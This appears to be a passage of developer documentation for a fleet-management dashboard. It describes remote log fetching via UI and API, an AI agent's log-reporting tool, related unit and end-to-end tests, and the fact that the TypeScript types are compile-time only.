get_logcommand — Fleet Roster → Remote Control → Fetch Log (orGET /api/v1/agents/{id}/log?refresh=1triggers the command and returns cached tail)upload_logAI tool — when AI autonomy is enabled, the agent reports log content via/api/v1/agent/reportafter an Ollama tool call
Unit tests cover AgentRemoteActions offline gating and mining live-stats in components.test.tsx; Playwright e2e/remote-actions.spec.ts mocks an offline agent and asserts disabled buttons.
Frontend types (types/index.ts)
TypeScript interfaces in server/web/src/types/ are compile-time contracts only — no runtime JSON schema guards. Validation lives in forms, forge preflight, and server-side handlers.